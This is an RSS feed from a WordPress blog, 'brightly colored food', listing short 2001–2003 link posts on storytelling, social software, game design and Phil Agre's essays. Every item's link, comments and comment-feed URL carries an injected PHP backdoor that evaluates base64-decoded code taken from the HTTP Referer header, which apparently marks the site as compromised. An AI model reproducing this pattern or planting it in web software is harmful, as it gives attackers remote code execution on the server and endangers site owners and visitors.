<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>brightly colored food &#187; Learning/Social Computing</title>
	<atom:link href="http://www.brightlycoloredfood.com/category/learningsocial-computing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.brightlycoloredfood.com</link>
	<description></description>
	<lastBuildDate>Thu, 19 Apr 2007 05:04:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Takes on Storytelling</title>
		<link>http://www.brightlycoloredfood.com/2003/07/31/takes-on-storytelling/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2003/07/31/takes-on-storytelling/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 31 Jul 2003 18:51:20 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=192</guid>
		<description><![CDATA[Nice overview of various takes on the importance of storytelling here. Bruner, Ong, Seeley Brown, Baudrillard, Jung, and more. Looks like a promotional site for a book on storytelling in organizations.
]]></description>
			<content:encoded><![CDATA[<p>Nice overview of various takes on the importance of storytelling <a title="learn storytelling-learn to tell stories-learn about storytelling-learn use of storytelling-role of storytelling" href="http://www.stevedenning.com/learn.htm">here</a>. Bruner, Ong, Seeley Brown, Baudrillard, Jung, and more. Looks like a promotional site for a <a href="http://www.amazon.com/exec/obidos/ASIN/0750673559">book</a> on storytelling in organizations.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2003/07/31/takes-on-storytelling/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where&#8217;s the humanity in social software?</title>
		<link>http://www.brightlycoloredfood.com/2003/04/25/wheres-the-humanity-in-social-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2003/04/25/wheres-the-humanity-in-social-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 25 Apr 2003 17:26:01 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=175</guid>
		<description><![CDATA[As a few others have pointed out, the current excitement over &#8220;social software&#8221; is somewhat odd because this group is hardly the first to discover many of the issues they&#8217;re tackling. Maybe I&#8217;m not looking hard enough, but I see little evidence that they&#8217;re building on the work of fields such as computer-supported cooperative work, [...]]]></description>
			<content:encoded><![CDATA[<p>As a <a href="http://www.kottke.org/03/04/030424the_emperor_.html">few</a> <a href="http://www.pixelcharmer.com/fieldnotes/archives/process_researching/2003/000301.html#000301">others</a> have pointed out, the current excitement over &#8220;social software&#8221; is somewhat odd because this group is hardly the first to discover many of the issues they&#8217;re tackling. Maybe I&#8217;m not looking hard enough, but I see little evidence that they&#8217;re building on the work of fields such as computer-supported cooperative work, computer-mediated communication, and social informatics, all of which have which have been around in name since the 80s hashing over many of the same issues with which social software now tackles. </p>
<p>Furthermore, as Matt Jones <a href="http://www.blackbeltjones.com/work/mt/archives/000560.html#000560">states</a>, the tech concerns of social software seem to be overriding the human-centered concerns. One might argue that it&#8217;s a different approach to design &#8211; build the infrastructure, then let everybody tinker &#8211; but that still seems like engineering/requirements-driven design rather than design informed by human behavior and needs. </p>
<p>Here&#8217;s a <a href="http://www.pixelcharmer.com/fieldnotes/archives/process_researching/2002/000160.html">post</a> from Tanya with links to several good introductions on social informatics. She also <a href="http://www.pixelcharmer.com/fieldnotes/archives/process_producing/2002/000098.html">mentions</a> another <a href="http://www.comp.lancs.ac.uk/computing/research/cseg/projects/ariadne/docs/survey.html">article</a> that contains a good overview of computer-supported cooperative work and also discusses ethnography, library and information science, computer-mediated communication, and computer-supported cooperative learning. Other approaches like <a href="http://www.google.com/search?q=%22social+computing%22&amp;ie=UTF-8&amp;oe=UTF-8">social computing</a> also come to mind, and I&#8217;m sure social scientists would have more to add as well. </p>
<p>In the end, I guess I don&#8217;t have a problem with people rallying around a new name &#8211; this is about group-forming, and new groups love to recognize/differentiate themselves with names &#8211; but it&#8217;s distressing to see decisions made that either aren&#8217;t informed by previous research or are made in the interest of technology without thinking long and hard about the human issues first.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2003/04/25/wheres-the-humanity-in-social-software/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>More interest than available time</title>
		<link>http://www.brightlycoloredfood.com/2002/12/02/more-interest-than-available-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2002/12/02/more-interest-than-available-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Dec 2002 19:23:36 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=143</guid>
		<description><![CDATA[3600 Research Essays about the Net. It&#8217;s like stringing together all your favorite keywords and then slapping them on one page. Also from the same site: 750 Internet Researchers and 1800 Net Art Links.
From Red Rock Eater Digest
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.netzwissenschaft.de/sem/pool.htm">3600 Research Essays about the Net</a>. It&#8217;s like stringing together all your favorite keywords and then slapping them on one page. Also from the same site: <a href="http://www.netzwissenschaft.de/wiss.htm">750 Internet Researchers</a> and <a href="http://www.netzwissenschaft.de/kuenst.htm">1800 Net Art Links</a>.</p>
<p>From <a href="http://commons.somewhere.com/rre/">Red Rock Eater Digest</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2002/12/02/more-interest-than-available-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smart Weblogs</title>
		<link>http://www.brightlycoloredfood.com/2002/09/22/smart-weblogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2002/09/22/smart-weblogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 23 Sep 2002 02:15:51 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=126</guid>
		<description><![CDATA[Howard Rheingold has started a weblog to complement his forthcoming book &#8220;Smart Mobs: The Next Social Revolution&#8221;. 
Smart mobs emerge when communication and computing technologies amplify human talents for cooperation. The impacts of smart mob technology already appear to be both beneficial and destructive.
]]></description>
			<content:encoded><![CDATA[<p>Howard Rheingold has started a <a href="http://www.smartmobs.com/">weblog</a> to complement his forthcoming book &#8220;Smart Mobs: The Next Social Revolution&#8221;. </p>
<p>Smart mobs emerge when communication and computing technologies amplify human talents for cooperation. The impacts of smart mob technology already appear to be both beneficial and destructive.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2002/09/22/smart-weblogs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Will Wright</title>
		<link>http://www.brightlycoloredfood.com/2002/09/17/will-wright/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2002/09/17/will-wright/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 17 Sep 2002 18:34:16 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=124</guid>
		<description><![CDATA[I enjoyed reading this interview with Will Wright, the guy behind all the Sims games. It deals with philosophy of game design, mining the rich data gathered on &#8220;The Sims&#8221;, modeling complex systems, and more. Quite good.
from Black Belt Jones
]]></description>
			<content:encoded><![CDATA[<p>I enjoyed reading this <a href="http://gamestudies.org/0102/pearce/">interview with Will Wright</a>, the guy behind all the Sims games. It deals with philosophy of game design, mining the rich data gathered on &#8220;The Sims&#8221;, modeling complex systems, and more. Quite good.</p>
<p>from <a href="http://www.blackbeltjones.com/work/">Black Belt Jones</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2002/09/17/will-wright/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>First Monday &#8211; November</title>
		<link>http://www.brightlycoloredfood.com/2001/11/01/first-monday-november/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2001/11/01/first-monday-november/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 01 Nov 2001 18:27:39 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=77</guid>
		<description><![CDATA[New First Monday is out (wait &#8211; it&#8217;s not the first Monday of the month yet!). Two articles on education that both look interesting, including an article that looks at MIT&#8217;s Open CourseWare Initiative.
Before I became such a user-experience dork, and after I was a biology and music dork, I had a brief career as [...]]]></description>
			<content:encoded><![CDATA[<p>New First Monday is out (wait &#8211; it&#8217;s not the first Monday of the month yet!). Two articles on education that both look interesting, including <a href="http://firstmonday.org/issues/issue6_11/ishii/index.html">an article</a> that looks at <a href="http://web.mit.edu/ocw/">MIT&#8217;s Open CourseWare Initiative</a>.</p>
<p>Before I became such a user-experience dork, and after I was a biology and music dork, I had a brief career as an education dork. I worked doing instructional design at a startup, and one of the courses I developed (a high school study skills course) is now being used by something like 50,000 kids. There&#8217;s obviously a lot of crap out there in the world of computer-mediated education, but I remain certain that it&#8217;ll be one of the few things that pushes any real reform into our hobbled little educational system that exists today.</p>
<p>There &#8211; now you know a bit more about me. The mythical redesign is progressing slowly, and I hope to begin some production in the next week, so these tidbits will have to tide you over until I get BCF 2.0 released.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2001/11/01/first-monday-november/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Notes and Recommendations (from Phil Agre)</title>
		<link>http://www.brightlycoloredfood.com/2001/10/08/notes-and-recommendations-from-phil-agre/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2001/10/08/notes-and-recommendations-from-phil-agre/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Oct 2001 16:56:13 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=68</guid>
		<description><![CDATA[Set of unrelated mini-essays/opinions on cell phone use and innovative service models, rumormongering and amplification on the web, musicians and profit in the age of p2p, and three ways to look at institutions. They&#8217;re all worth reading, but skip to the last if you&#8217;re going to read just one. Here&#8217;s a summary:
Institutional discourses are dispersed [...]]]></description>
			<content:encoded><![CDATA[<p>Set of unrelated mini-essays/opinions on cell phone use and innovative service models, rumormongering and amplification on the web, musicians and profit in the age of p2p, and three ways to look at institutions. They&#8217;re all worth reading, but skip to the last if you&#8217;re going to read just one. Here&#8217;s a summary:
<p>Institutional discourses are dispersed across the programs, laws, and buildings into which they are inscribed, and then they are distributed among the many individuals who learn to use them.  Institutions operate largely in a distributed fashion through the incentives that motivate their participants to pursue careers within them, and the unfolding career strategies they adopt.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2001/10/08/notes-and-recommendations-from-phil-agre/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Weblog: Research on Learning and Performance</title>
		<link>http://www.brightlycoloredfood.com/2001/10/07/weblog-research-on-learning-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2001/10/07/weblog-research-on-learning-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 08 Oct 2001 01:09:25 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=66</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2001/10/07/weblog-research-on-learning-and-performance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Be a Leader in Your Field: A Guide for Students in Professional Schools</title>
		<link>http://www.brightlycoloredfood.com/2001/09/18/how-to-be-a-leader-in-your-field-a-guide-for-students-in-professional-schools/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.brightlycoloredfood.com/2001/09/18/how-to-be-a-leader-in-your-field-a-guide-for-students-in-professional-schools/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 18 Sep 2001 15:21:51 +0000</pubDate>
		<dc:creator>chad</dc:creator>
				<category><![CDATA[Learning/Social Computing]]></category>

		<guid isPermaLink="false">http://www.brightlycoloredfood.com/wordpress/?p=59</guid>
		<description><![CDATA[Good comments from Phil Agre on participating and contributing within a network of fellow professionals.
]]></description>
			<content:encoded><![CDATA[<p>Good comments from Phil Agre on participating and contributing within a network of fellow professionals.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brightlycoloredfood.com/2001/09/18/how-to-be-a-leader-in-your-field-a-guide-for-students-in-professional-schools/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
